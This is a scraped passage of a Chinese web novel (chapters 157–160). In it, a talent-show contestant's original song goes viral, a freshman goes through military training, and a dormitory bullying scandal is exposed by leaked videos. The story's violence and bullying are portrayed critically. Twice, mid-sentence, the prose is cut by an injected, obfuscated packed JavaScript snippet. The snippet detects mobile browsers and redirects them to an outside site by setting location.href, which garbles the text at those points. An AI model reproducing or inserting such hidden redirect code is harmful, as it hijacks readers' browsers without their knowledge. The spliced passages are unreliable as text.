她突然听见黄怀予问她高考,脑子里一下子就想到了在公立高中的那三年,埋头做题,升学比赛,竞争不绝,排名定生死,手里的笔就是自己唯一的出路。 戚天还没回答,就听见黄怀予说:“这么多年,一路读书升学上来,很辛苦吧。” “你辛辛苦苦读书十几年,本科985大学,以后还想继续保研,前程似锦,春光明媚,毕业以后有无数的世界可以去探索。在家里给男人生三个孩子当全职太太,你也许不应该走这样的道路。” 戚天像是从来都没有听过这样的话,一时间完全呆滞住了,就那样傻傻地看着黄怀予。 三人一起走进了寝室,都坐回了自己的座位。 戚天默默地把刚买的饭放到自己的桌子上,坐下,低下头慢慢地吃。 就这样低头吃了五分钟,她突然放下筷子,站起来,跑到黄怀予面前,小声说: “从来没有人对我说过这样的话。” “我刚刚一直在想你说的话。” “我觉得,你说得很有道理。” 黄怀予摘下耳机,被她突如其来郑重的语气弄得有些懵,不过还是点点头。 “没关系,个人有个人的选择。没有哪一种选择比较高贵,我只是作为你的身边人觉得另一种也许更好。这只是建议,人生是你自己的。” 黄怀予从来没觉得自己一句话可以改变别人什么,只是觉得自己有义务把这些话说出来。 …… 下午军训。 热辣的太阳照在所有人身上,偌大的操场上一整个学院的方队都在教官的指挥下一动不动站军姿。几个身体差的女生已经支撑不住喊了报告,被扶到了阴凉地方休息。 “报告……” 黄怀予突然听见自己右边传来一声气若游丝的女声,“身体不舒服……” 教官喊:“出列,到旁边休息!” 那女生动了一下,想出列,但是整个人都摇摇欲坠,下一秒就直接往后倒。 黄怀予离她最近,余光扫到,立刻眼疾手快地转身扶住她。黄怀予一向力气大,咬牙把她抱住,这才看见那女生已经嘴唇苍白,满脸是汗,闭着眼睛。 “报告!她晕倒了!” 黄怀予大声喊了报告,立刻把人扶到了旁边树荫下。 教官让黄怀予先不必回队伍,先在旁边照顾她。 那女生紧闭着眼睛,休息了好一阵才缓过来。 黄怀予左右看看,这才发现,树荫旁边还坐着一个人,似乎已经在这里休息很久了。 是班长,韦真。 当时自我介绍会上,韦真给她留下了深刻的印象,因为他很瘦,戴着眼镜,身上一股文弱书卷气,自我介绍里感觉这个人好像成绩很好,似乎很诚实靠谱。 黄怀予跟他打了声招呼,问他什么时候晕倒的。 韦真:“我没有晕倒。” “我身体不好,所以一开始就申请了不必军训。” “哦……”黄怀予有些没反应过来,“还有这样的规定?我好像没在班群里见到有人发通知。” 韦真笑了一下,看了她一眼,简短地说:“我是班长,当然知道的消息更全面。” 黄怀予觉得有些奇怪,但是没说话,只是转移话题道:“既然你不用军训,那还来这里干嘛?” 韦真曲起膝盖,手边扯了地上的一根杂草,随意晃了两下,看着前方烈日下一个个咬牙坚持满头大汗的同学们,而自己却处在一片绿色树荫下,手边就有小风扇和水,教官和老师还都把他当成伤员对待。 “看热闹咯。” 他语气随意。 黄怀予皱了皱眉。 “所以你是为了炫耀?或者是享受这种和别人不一样的感觉?” 韦真一愣,似乎是意识到了什么,打哈哈说道:“哎,我开玩笑的。你还当真了?” 气氛变得有些沉闷,黄怀予站起身,离他远了一些,没再说话。 刚刚那个晕倒的女生此时已经醒了过来,看上去精神好了不少。 “你醒啦?感觉有哪里不舒服吗?前面就是校医院,我可以扶你过去。” 她看了一眼黄怀予,声音很冷,平静地说: “不用。” 空气变得有些尴尬,对方一句道谢也没有,语气也极为冷淡。 黄怀予也没在意,“那行。我叫黄怀予,你 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没想到韦真竟然一直在旁边偷偷关注并且听着。 她连金钰的名字都是刚刚才知道,但是韦真却连对方的特征、性格甚至未来的打算都知道得一清二楚。 韦真那句话里,带着点阴阳怪气,还有一些幸灾乐祸,像是知道黄怀予帮了金钰之后一定会吃瘪,也是对之前他和黄怀予之间聊到一半就凝滞的气氛做一点挽回和新互动。 …… “最近这几天怎么样?”晚餐时间结束,苏琬牵着黄怀予的手,走在校园里,“和班上同学有新交上朋友吗?” 黄怀予一顿,低头摸着苏琬的手。 “没有。” “感觉,好像没几个正常人。” * 魔都。 二选在即,所有人都能感觉到周围气氛越来越压抑。 对于许多小公司背景、本身也没有任何粉丝基础的小练习生来说,能走到第二轮前50名已经是行了大运。 而马上又要50进25的残酷赛制,也让从二十名开外的所有人都开始有了严重的危机感。 后台休息室里,已经没有了初选的随意轻松,剩下的人都带着强烈的背水一战感,都还在角落紧锣密鼓地练舞、开嗓。对于没有粉丝基础的选手来说,每次选拔之前的舞台展示环节都是珍贵的展示机会,也是难得的吸粉机会。 比起周围人大张旗鼓的准备,楚恒似乎显得极其简单。 他身上穿了一件银白色的演出服,很素,没有任何多余的流苏或者闪光的舞台配饰,完全不像是要跳舞的样子。 站上舞台的时候,灯光打下来,他在周围一群强烈的快歌劲舞中显得很素净,几乎要淹没在人群里。 轮到他上场的时候,他只拿了一副手麦上台。 沈一临坐在舞台下面,听见周围人开始小声议论。 “纯站桩啊?” “都拿手麦了,估计是。” “他怎么想的,这估计很难出彩。” 沈一临盯着台上的人,眉头紧锁着,心里不禁也为他感到紧张。 可就在这时,主持人的声音响起。 “接下来有请选手楚恒。” “他将为大家带来自己的原创曲目。” “这也是《光芒之下》节目中,首次出现个人原创歌曲。” “请大家欣赏,《孤单行星》。” 157. 第 157 章 舞台下方瞬间像是一石激起千层浪,所有选手都开始交头接耳地讨论起来。 “原创?!” “我靠!你看上面屏幕已经打字出来了!作曲:楚恒,作词:楚恒。” “原来那块屏幕会出现歌词啊!我还以为只会有那种动画效果。” “楚恒居然还会写歌……我以为他只是唱跳好,他真的好全能……” “词曲全是他一个人写的?这不是天才吗?” “哎!顾安!新娱以前还有作曲课啊?” 周围人听见胆大的选手够着脖子出声,立刻也跟着纷纷回头,去看坐在角落里的顾安的表情。 顾安一个人安静地坐着,双腿并拢,手紧紧握成拳放在膝上。 他盯着前方大屏幕上出现的“作曲:楚恒”、“作词:楚恒”几个字,像是被一盆凉水从头淋到了脚。 和楚恒当了三年队友,他竟然完全不知道楚恒会作曲。这是楚恒藏的杀手锏,是他隐藏的最终技能。这超出了唱跳基本能力之外,甚至让他之后有了更多选择,比起从十几岁就开始练舞节食、很多人都有腰伤腿伤的练习生而言,他甚至有机会可以转向创作歌手。 “啊,有的。” 顾安脸上一向温柔的表情几乎已经快要崩裂,嘴角却还是很狼狈地扬起一点弧度。 他脸上是笑着的,但是这几个字却像是从牙缝里挤出来的。 “但是也许楚恒自己也花钱去外面上了吧。” “楚恒平时都独来独往,他一个人去做了什么样的进修,我们也不太了解。” 周围人“哦……”了一声都回过头去,正好这时音乐响起,所有人都被吸引视线,开始看着舞台上那个独自站着的身影。 灯光暗下,打在他身上。 钢琴独奏声像水一样流淌,像是一人在角落里的低吟,节奏明明很快却好像藏着深刻的悲伤,像是永远也无法摆脱的极致的孤独。 他像一个没有感情温度的讲述者,暗处的舞台,黑暗无孔不入把他包围。 照片、文字、破碎的曲调,过去了的日子再也不会回来,但是痛苦的回忆却可以通过无数的客观切片得以保存,像是灵魂栖息的博物馆,只是看见那段日子的留存,就足以重陷,清醒地看着过去的自己慢慢在泥泞的沼泽里挣扎。 “孤单的心堕落在黑暗。” “宇宙听不见回音,无处可藏的行星。” “春夜闻不到花香,蓝色冰川的梦境。” “无人在意是否无声无息。” “无处可去是否无光可寻。” …… 直到最后一个音符停止,现场演播室才一点点响起掌声。 强烈的舞台光线像是把楚恒整个人的神智都唤了回来。 他静静地看着演播室天花板上的灯。台下慢慢一点点响起掌声,开始细微,慢慢排山倒海。台下有同样是创作歌手的导师张奇微盛赞他有天赋甚至说要签下他,所有导师一致好评,所有选手心悦诚服。 鲜花、掌声、称赞、歌颂,舞台的光真的好耀眼好容易令人迷惑,这一切都足以让人失去理智,足以让你觉得我已站在顶峰,世界等我去冲,我即将势如破竹成为冉冉新星。 可是楚恒只是冷静地站在原地。 眼下所有人都惊叹的歌,却只是一首弃曲,满心期待提交给公司却被直接打回,只有李鸣月愿意给他机会让他在1969对着空荡的卡座唱给自己听。 三年前的自己挣扎在沼泽的片段像是挥之不去的梦魇,不停地在脑海中重现。而让他从沼泽里爬出来的不是此刻世界的欢呼,而只是一年以前,在云省楚门市中心医院CT室门口冰冷的长椅上,一个短发女生,眼镜刚刚被甩掉,手腕要去打石膏,眯着眼睛对他说: “我不就听过吗?” “《孤单行星》,对吧。” “如果你觉得实现不了你的梦想,那你就想多了。” “你还没实现,你怎么知道你实现不了呢?发生在明天的事,今天永远也预料不到。” 楚恒站在满堂的掌声和欢呼声里。 他慢慢抬起手,放在心口。 跟着自己心跳声的频率,默默念出了她的名字。 缠绕的,紧绷的,绵绵的,永远也不会消散脱离的。 当孤单的行星被缠入命运的光点时,个体就已经被强烈冲击的情感所包围,关系网络是天边的银河,迢迢璀璨,爱意蒸腾,和前方的光生生世世缠绕。 黄怀予,别放开我的手。 * 《光芒之下》新一期正片播出。 出乎意料的是,所有人都在谈论《孤单行星》。 在一个男偶像歌手竞争人气的选秀节目中,大家看得多的是选手们努力理解、表演、用舞蹈来演绎感情,但是却难以见到选手们自己的想法、创造以及纯粹的歌声。 这也是偶像与创作歌手的本质区别。前者总会觉得自己是公司和市场包装的产物,每天泡练习室浑身伤病却还要担心自己应该如何做才能变得独特出众让人记住,没有令大众市场追随的作品所以只能在粉丝前尽力保持乖顺的形象,而虚假的东西永远也无法真实,一旦崩塌就面临一无所有的境地。 后者却有表达自己的自由,有传达和创造思想的能力,私人生活不会被无孔不入地侵入和审判,全靠作品说话。 因此,《孤单行星》作为《光芒之下》开播以来第一次有选手展示出的原创歌曲,呈现了与其他舞台完全不同的风格和面貌,也让楚恒再一次在众人之中脱颖而出。 节目正片播出后,《孤单行星》一下子登上音乐榜前五名,并且仍然有持续上升的趋势。 旋律优美,歌词生动,引起了许多人的共鸣,被评为“致郁神曲”,写尽悲伤、孤独与迷茫。 而楚恒在节目中呈现的舞台也完整地与歌曲整体风格相契合,视频里他独自一人站在舞台上,冷蓝色的灯光洒下,歌与人浑然一体,像是寒夜里的风,一瞬而过。舞台视频播放量也迅速往上涨,几天过去已成为热门。 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“祝你开心到想(4)群”里,谷奕一天能发十个红包,每天在朋友圈里鼓动大家都去给楚恒投票,逢人就说“我哥们,唱《孤单行星》的那个,了解一下”。 夜晚,几个不同学院的连队之间举行联谊活动,大家在操场上席地而坐,围出一个正方形的空地。 现场气氛极其热烈,平时不苟言笑的教官也被怂恿着上去表演了两套军体拳。问谁要上来表演节目,同学们一个个争相上来。 学校有很多少数民族同学,其中很多都是新疆维吾尔族,一被问要不要表演节目,立刻毫不怯场地举手站出来放音乐,高鼻梁大眼睛的女生和男生被cue到立刻从人群中走出来跳舞,完全不怯场,踩着节拍对视舞蹈,没有任何排练就能立刻表演,引发周围一片欢呼。 扎着麻花辫的女生带着吉他上台表演弹唱,居然弹的就是《孤单行星》。人群中引发一点点小范围的惊呼,大家自发打亮手机后的手电筒在黑夜中晃来晃去,像是演唱会的灯海。 江城夏夜的风温柔而带着潮气,黄怀予跑到了法学院方队,和苏琬一起坐在方阵最边缘。 微风轻轻吹过她的脸。 她看着从来没见过的来自于五湖四海的同龄人聚集在一起载歌载舞,每个人的脸上都带着笑,无人害羞无人害怕,音乐声像是要一直响到天边,像是一直要响到世界尽头。 黄怀予心想,这就是她想象中的大学吧? 她转头,看见苏琬的笑脸。 周围绿色的草丛在晚风中微微摇晃,苏琬坐在她身边,语气温柔,两个人从天南聊到海北,聊学习,聊恋人,聊家庭,聊梦想,聊国际局势,聊哲学的终极关怀。吉他声是最好的背景音乐,人群的喧闹是最令人安心的氛围,两个女孩身上都带着不可一世的幼兽感,这个世界好像光明磊落,好像已经准备好给她们这一代的青年人开疆拓土的舞台。 黄怀予看着天边星星,在心里默默许愿,希望所有好像都能成真。 158. 第 158 章 《孤单行星》爆火之后,楚恒的名次一路攀升。 二选排名公布,50人进25人。楚恒直接从上一次的46名上升到了13名,压过了许多之前的热门选手,而这次竟然有好几个之前的热门选手因为二选表演失误或者太过平庸,票数不及他人,无奈淘汰。 赵焰尽力和沈一临捆绑,所有活动和互动机会都一定会去缠着沈一临,蹭到了很多出镜机会,因此挣扎到了20名。 顾安由于二选表演出众,到了15名。 …… 赵焰这几天脸色阴沉得不行。 自己每天像是舔狗一样缠着沈一临,可是对方完全不理不睬。 更不要说,楚恒居然凭着一首原创爆火,直接到了13名,看网上的势头,只怕还会有的上升。 他开始看所有人都不爽了起来。 回到宿舍,他果然看见,接近夜晚十点钟左右,他的舍友才从外面回来。 他的舍友叫喻之明,名不见经传的小公司背景,无粉丝基础的纯新人练习生。唱跳能力强,只是性格内向,不爱说话,一副畏畏缩缩的样子,看了就烦。 最烦的是,喻之明这种没背景的人,居然也走到了现在,而且这次排名居然还在18名——排在他前面两名。 这种小喽啰也配? 一向看不惯的人居然还能走到自己前面,这是赵焰最恼怒的。 夜晚十点,喻之明打开房门走了进来,戴着帽子,穿得很简单,身上还有汗,一看就是又去练习室练到现在才回来。 “啪——” 迎面扔过来三四件衣服,一下子甩到了喻之明脸上。 “去给我洗了。” 赵焰面无表情地说。 喻之明像是浑身都抖了一下,站在原地好几秒都没动。 “不愿意?” 赵焰慢慢站起身,一步步走到他身边。 随后,抬起右手,直接一巴掌“啪——”地扇了过去。 喻之明的脸被扇得一偏,白皙的脸上立刻出现一道浅浅的红色掌印。 “你知道惹了我会是什么下场吧。” “少做白日梦了,你还真以为你能通过这节目翻身?” 赵焰厌恶地看他一眼,用力撞开他的肩,走了出去。 …… 赵焰一路出了门,一直走到沈一临寝室门口,敲了敲门。 无人回答。 他又在门口一连打沈一临的电话打了好几次,里面才终于传出一点声音,门被骤然拉开,沈一临脸色不是很好看,身上还带着刚刚洗完澡之后的水汽。 “有事吗。” 沈一临站在门口,皱着眉看他。 “……”赵焰极力忍下那种别人忽视的不快,还挤出一丝笑容,“之前那个后采,你录了吗?” “没有。”沈一临回答得很简略。 “那你到时候录的时候,可以提到我吗?里面有个问题是‘来了《光芒之下》之后交到的新朋友’,我录的时候说了你,所以你最好也说我。” 沈一临歪歪头。 他看着对面这人脸上理所应当的表情,实在是想不通怎么会有人脸皮这么厚。 “不可以。” 说完,他就想关上门。 “你!” 赵焰终于忍不住了,一把扯过门抵住,指着沈一临的鼻子。 “沈一临!你以为你是谁!你他妈装什么装!” “你不就是仗着自己参加节目之前就有热度和粉丝吗?你那第一名不都是你粉丝投出来的吗?你以为你比得过陈锐?比得过凌昀?你甚至连楚恒都比不过!” “你知道老子是谁吗?给你脸了,你还真把自己当根葱了!” 赵焰破口大骂,声音越来越大。夜晚走廊安静,他的声音带起巨大的回音,甚至旁边已经有人偷偷打开门,看到沈一临和赵焰似乎起了冲突,又赶紧在被当事人发现的前一秒偷偷关上门。 开玩笑!谁不知道赵焰家里的背景? 新娱在行业内算得上是龙头大公司,这个行业又睁眼闭眼全都是熟人,万一得罪了公司高层,自己怎么死的都不知道。大家都还只是名不见经传的小偶像,怎么惹得起资本大佬? 因此,大部分人看见了又赶紧关上门,装作没看见,只当事不关己高高挂起,沉默地看着这镜头之外的宿舍选手之间的火花四溅。 比起赵焰的气急败坏和恼羞成怒,沈一临却全程都显得很冷静。 他一把掀开赵焰扒在门边的手,头也没回地用力关上了门。 赵焰更加火冒三丈,用力踹了两下门,发出巨大的声响,才喘着粗气离开。 他越想越气,一团压在心里怎么也散不开,直接三步并两步走到了二楼的公用洗衣室。 现在已经是夜晚十点多,洗衣室光线明亮,安静寂然,只有一个人垂着头站在那里。 ——果然,是喻之明。 洗衣机轰隆隆地转,里面正是刚刚赵焰甩到喻之明脸上的那几件衣服。 喻之明刚从练习室回来,满身疲惫和汗水,却连洗澡都不敢先洗,只能先拿了赵焰扔给他的衣服,先来洗衣室。 这样的认知让赵焰更加肆无忌惮。 他满腔怒气走进洗衣室,才刚对上喻之明那双有点恐惧畏缩的眼睛,就一脚踹了过去。 喻之明猝不及防被踹倒在地。 “让你装!让你装!” “老子愿意捧你,给你面子,你他妈犯什么贱!” 乱七八糟的拳脚全部砸在喻之明身上。 赵焰已经踢红了眼,他把这段时间以来受到的所有气都在喻之明身上狠狠发泄了出来。 ……沈一临闻声走到洗衣室的时候,看到的就是这一幕。 他瞳孔一缩,迅速上前,一把把赵焰扯开,“住手!你疯了!” 沈一临一下子想起楚恒以前在新娱的时候,曾经传出的那些被赵焰排挤针对的消息。果然霸凌不分时间地点,霸凌者永远也改不了本性,而新的受害者总会出现。 赵焰被突如其来的一股力气甩到旁边,踉跄了两步倒在地上,沈一临立刻上前扶起倒地的喻之明,“怎么样?你还好吧?” 他低头去看喻之明,紧接着就看见喻之明脸上还未消散的巴掌印,整个人缩在冰冷的地板上。 “……”沈一临咬着牙,他从来没见过这么直接的欺辱和霸凌,他转过头看了一眼赵焰,眼里全是厌恶和愤怒,“我现在就报警。” 这一句话,彻底把赵焰惹火了。 他从地上站起来,指着沈一临的鼻子大骂道:“你报啊!你他妈以为我怕你?操,我最烦你这种人,你以为全世界就你一个好人,就你喜欢路见不平?” “老子打他怎么了?关你屁事?凭什么你们都要一个个抢走我的东西?楚恒也要抢,沈一瑾也要抢,你也要抢!” “你跟你妹一样贱!” ——这句话才刚吼出口,赵焰就猛然被一拳打倒在地。 沈一临这一拳用了十足十的力气,一圈用力打过去,赵焰直接被打到地上,头周围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345623|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然已经有了点点血迹。 沈一临却红着眼咬着牙,一整个人全部骑在赵焰身上,一拳接着一拳。 两人彻底扭打在一起。 * 当晚,微博上突然爆了好几条热搜。 魔都S台《光芒之下》节目组的选手宿舍大楼周围的代拍上传了好几条视频,视频内容正是在二楼洗衣室内,两个年轻男生正厮打在一起,旁边还躺着一个。 “《光芒之下》最新消息,有选手在宿舍楼里当众打架被拍!” “惊!打架两人的正脸曝出,是沈一临和赵焰!” 一石激起千层浪,“沈一临”、“沈一临赵焰打架”、“光芒之下打架”热搜一下子爆了三条。 《光芒之下》本就热度颇高,这下人气最高的第一名竟然被拍到在宿舍大楼里和另外的选手打架,视频都流出来了,正脸拍得清清楚楚,想否认都没有余地。 S台拼命压热搜都压不下去,花钱撤热搜都花了大价钱。 事件愈演愈烈,引发大量讨论,粉丝也迅速下场开始腥风血雨地撕。网上大家各执一词,但是围绕的中心始终都是“为什么会打起来”。 网友们七嘴八舌讨论了一整个通宵,直到第二天早晨八点,才有一直蹲点宿舍大楼周围的私生粉出来说话,并且还放上了原始一刀未剪版拍摄视频。 “喻之明一个人在洗衣服,赵焰进来就踹了喻之明一脚,然后拳打脚踢。” “沈一临看到,制止,两人又吵了两句,最后打起来了。” 这条视频犹如铁证,一下子击破了所有其他的谣言和猜测,很多人纷纷表示没吃过这么痛快的瓜,前一天晚上还在熬夜吃瓜,第二天早上就有了真实事实和视频记录。 如果单从这条视频内容来看,赵焰对喻之明的行为妥妥的称得上霸凌,而沈一临则是站出来制止霸凌行为的第三人。 很多人又由此联想到了楚恒,当初关于楚恒和赵焰之间的霸凌传闻甚嚣尘上,STAR这个糊团内部到底发生了什么,才会导致原定C位突然退团、解约又深陷霸凌丑闻? 又有人把很久之前沈一瑾和赵焰之间的那场“舞蹈挑战”引发的新娱内部粉圈大战给回忆了起来,说那时候就爆出赵焰舅舅是新娱公司高层,甚至可以把本不属于他的资源都抢过来给赵焰,才引发另一个合作者沈一瑾的不满。 如果赵焰本身就会霸凌别人,家里舅舅又是公司高层,那楚恒怎么敢欺负他? …… 事件愈演愈烈,S台节目负责人唉声叹气,把当事者三人以及三方的经纪人全部找来谈话。 事情已经发酵到了无法挽回的地步,视频实在是太清晰太有力,节目组必须做出公关解释。但是如果承认打架事件属实,那么始作俑者就一定会退赛,而剩下的人带着这样一个“当众打架”的污点也一定无法在《光芒之下》这样的一个投票淘汰制的节目里走得长远了。 ——然而,这整件事情的关键点就在于,沈一临是整个节目的第一名,夺冠大热门选手。 如果往下发展,节目组一定会保住第一名。 赵焰怒不可遏。 他走出来,第一件事就是给贾威打电话。 他本想控诉沈一临的所有行为,让自己舅舅给自己撑腰,却没想到,电话才刚刚一接通,对面就传来贾威劈头盖脸的一顿痛骂: “谁让你去惹沈一临的!S台台长亲自给我打电话,沈一临是节目组力保的!我早就让你去和他搞好关系,你怎么反而和他打起来了!我救不了你!” 159. 第 159 章 贾威一句“我救不了你!”让赵焰一下子就慌了。 他这才知道完蛋了,这次他好像惹了什么大人物,连自己舅舅都摆平不了的大人物。 赵焰哭着祈求,对着手机大哭,指望自己舅舅最后帮自己一次。 对面的人叹息一口气。 “你就先退赛吧。” “以后的事,以后再说,留得青山在不怕没柴烧。” “我让胡权再去跟电视台谈谈,统一一下公关话术。随便找个身体不好的理由,说你们为了小事打起来了,然后现在已经知错和好了。就行了。赶紧把这件事解决,别让舆论再发酵了。” 贾威三言两语安排好了计划,但赵焰却只是低着头没说话。 贾威以为赵焰是接受了,挂了电话就去找人安排。 可是,无人的角落里,赵焰拿着手机,那股怒火却怎么也无法平息,反而越演愈烈。 被沈一临按在地上打、被网民扒出陈年旧事、楚恒凭一首原创爆火口碑反转、甚至现在连他身上的霸凌标签都被被渐渐洗掉……到现在,居然还要他忍气吞声地退赛、忍让? 众多事情全部压在他头上,各种情绪混杂在一起,急需一个出口。 凭什么? 都怪楚恒……都怪沈一临……都怪…… 都怪楚恒……都怪沈一临……都怪…… 赵焰那张脸已经接近扭曲,额上青筋暴起,紧捏着拳头。 “跨啦——” 宿舍门被打开,喻之明站在门口。 他脸上印记仍未消散,带着口罩。 “我来……拿东西。” 他声音很小,一个字一个字往外蹦,弓肩驼背,戴着帽子,看不清表情。 “选管已经安排了我转宿。拿完东西我就走。” 赵焰闻声,缓缓抬起头。 他眼睛里满是红血丝,咬着牙。 “都怪楚恒……都怪沈一临……都怪……都怪……你。” 他逆着光站起来,顶着牙尖笑,那样子简直像个恶魔。 “选管安排你住在哪里?” 喻之明骤然抬起头,露出帽子和口罩下那双藏着恐惧和无助的眼睛。 “你……” 喻之明握紧门把手,“我不要东西了,你直接扔掉吧。”说着就想赶紧转身出去。 却没想到,身后某个身影更快,一脚把他踹倒在地上。 “不说?” “我会找到你的。” 赵焰蹲下身子,五指并拢,一把揪起喻之明的头发,看见喻之明痛得皱起眉头,笑着说: “只要我在这节目一天,我就不会让你好过。” …… S台节目组和新娱、天星对于公关方案达成了基本共识。 把这次的打架事件营销成双方冲动、真性情出事,后面当事人两方已经解除误会和好。当事三人都继续参加比赛,之后过段时间等打架事件关注度平息,再找一个身体不适的理由,说赵焰退赛。 这算是替赵焰做出的最大遮掩,贾威再三耳提面命,让赵焰收敛,和平度过最后的时间就直接退赛。 可是,贾威越让赵焰忍让,赵焰就越咽不下这口气。 沈一临无事,楚恒无事,甚至喻之明也无事——只有他一人要面对退赛的惩罚。 脸上被沈一临打出来的伤还没完全好,赵焰咬着牙,开始变本加厉地磋磨喻之明。 打听他的住处,在练习室蹲点拳打脚踢,在食堂淋他一身滚烫的热汤,威胁他的新室友一起加入在他杯子里放异物,甚至脱光他的上衣,把他逼到厕所角落录像。 期间被沈一临再次撞破,沈一临怒不可遏,揪着赵焰的衣领就要打上去。 “怎么会有你这种低劣的人!” “上一个是楚恒,下一个是喻之明,你还要毁了多少人!” 赵焰被他揪着衣领抵在墙上,无所谓地看了一眼旁边角落里光着身子躺着的喻之明,又看回眼前愤怒的沈一临,慢慢露出一个笑。 “对,我低劣,谁能有你沈一临端正呢?” “你们一个个都要来抢我的东西,我不应该还手吗?我从小练舞,舅舅又是公司高层,我本来就应该是天之骄子,STAR的center本来就应该是我的!楚恒算什么?才进公司八个月就出道,原定的center本来是我!凭什么他一出道就抢走?他凭什么拿那么多唱段?凭什么站那么多中间位?凭什么粉丝比我多?” “你知道我对楚恒做了什么吗?我往他杯子里放东西,我怂恿顾安给他下药让他错过节目录制,我让顾安在董事长面前污蔑他,我买水军黑他恋爱劈腿,我把他按在地上踢,踢得他背后全是伤痕,所以他从来不穿露背的演出服……哈哈哈哈,我还没用刀划他的脸呢,我好善良啊。” “至于喻之明?我更看不上了。小作坊公司,没背景没人脉,能因为这件事爆出来火一把那也是他赚了,我看怕是还有人巴不得自己被欺负的消息放出去,在大众面前赚一波同情分吧!” 他越说越疯狂,越说越激动,声音越来越大,终于引来了选管工作人员,几个人立刻上前把紧紧纠缠的两个人拉开。 喻之明躺在冰冷的地上,光着身子蜷缩在角落。 身上被人披了一件外套,扶着站了起来。 他低着头,粘腻的发丝卷在一起挡住他的眼睛,他手里紧紧握着自己的手机,沉默半晌才慢慢开口,声音嘶哑无比。 “我可以报警吗。” 这几个字像是从牙缝里咬着说出来的。 选管一下子噎住,不敢看他的眼睛。这件事情节目组早就已经和三方经纪公司谈妥了,不是他们这些普通底层工作人员打工人可以决定的。 于是选管只能又给他披上了一件衣服,紧紧裹住他的身体,犹豫再三含糊说道:“你先回去好好休息。” 喻之明嘴角慢慢扯出一个笑,“……呵。” …… 当晚,喻之明的微博突然有人上线。 喻之明发布了一篇非常长的文章。 他长文详细叙述了自己和赵焰成为舍友的时间里,赵焰排挤、欺负、霸凌他的全过程。随后,他还详细叙述了两人如何在洗衣室里被沈一临发现,沈一临如何和赵焰起冲突,节目组的公关手段是什么,以及最后这段时间以来赵焰对他做过的所有事。 时间线清晰,叙事明白,桩桩件件全部都有身体上的伤痕的照片,甚至还有好几段监控视频,完整清楚地记录了那些无人的角落里曾经发生过什么。 然而整篇微博里最爆的内容,是最后的一段视频。 视频是手机拍摄的,拍摄者似乎处于一个很低矮的角落里,往上仰视举着手机,很抖却还努力保持画面稳定。 视频里沈一临怒不可遏地把赵焰按在墙上,赵焰却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354195|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可一世地说自己如何欺负楚恒、又是如何对待喻之明的。每一件事都是他本人亲自做的,每一句话都是他本人亲自说出口。桩桩件件,再也无从抵赖。 ——这篇微博长文和所有的视频图片一发出去,迅速热度爆炸,直接登上热搜,引发大量讨论。 节目组大惊失色,立刻让人去把赵焰和喻之明找过来,贾威也直接几个电话来疯狂轰炸赵焰。 喻之明却十分坦荡。 他说:“从我发出微博的那一刻起,我就已经做好了所有准备了。” 无论是退赛,还是自毁前程,他都已经无所谓了。 他没有任何恐惧和顾虑了。 没人知道他微博里那些清晰无遮挡的监控视频是他从什么渠道得到的。问他是不是哪个选管偷偷私底下给他的,喻之明却无论如何都保持沉默,怎么也不承认。 赵焰终于慌了。 电话铃声像是催命一样,前方面对面就是《光芒之下》总导演铁青的脸色。 “不是让你安分点吗!都已经说好了和平退赛,这个节骨眼上你为什么还要作死?!你为什么就非要去欺负他?他现在要跟你同归于尽了!” 电话里贾威的怒骂如同狂风暴雨。 赵焰终于意识到自己做错了事。 只是,早就晚了。 所有证据都确凿,监控和手机视频铁证如山,所有涉事人当中,楚恒也终于脱去了之前“霸凌”的事件阴影,受害者的身份终于得以揭露,洗雪冤屈真相大白。 在网民的剧烈声讨下,赵焰带着所有确凿的霸凌证据,退出了比赛。 …… 喻之明也平静地退出了比赛。 临走之前,他拖着行李箱,最后一次站在S台园区楼下。 面前站着沈一临和楚恒。 沈一临始终觉得无法面对他,捏紧拳头,不敢看他的眼睛。 “……对不起。”沈一临只能说出这句话。 “不。” 喻之明却极其平和。 “怎么能怪你们。” “是我运气不好。” “我本身就在一家小公司,从十几岁开始到现在,当了四年练习生。公司没有资源,管理混乱,更加没有人来管我这样的小艺人。机会就像天上的星星一样宝贵,错过一个就少一个,下一个不知道还要等多少年。” “还有两个月,我和这家公司的合约就要到期了。” “我本以为,《光芒之下》是老天给我的最珍贵的礼物,让我在低谷的时候突然遇见。一路从海选到初选到二选,我居然能参加这样全国性的节目,一步步走到现在。18名,这个名次是大众一票一票把我投出来的,我感激无比,我以为这是我人生中最重大的转折点,我以为这是我最后一个机会,我发誓会放手一搏。” “没想到。” 他扯了扯嘴角,眼里流露出悲苦的笑意。 “也许是天意如此吧。” “两个月合同到期以后,我应该会回老家。” 喻之明站直,看着面前的两个男人。 “祝你们星途璀璨。” …… 楚恒站在原地。 他垂着头,看着前方。 喻之明已经转过了身,一步步往外走去。 “你要不要,” 楚恒突然开口。 “你要不要,加入东吟公司。” 160. 第 160 章 沈一临才刚回到房间,手机就开始狂震。 之前的事情发生以后,由于楚恒也被牵扯其中,所以选管按照节目组的安排,给几个当事人全部都换了宿舍,现在沈一临一个人单独住。 屏幕上只闪着一个字“妹”,手机还在疯狂震动,像是昭示着对面的人七上八下的急切心情。 “沈一临!”电话接通,对面传来沈一瑾的大吼。 “没大没小。” 沈一临回了一句,声音里却含着笑。 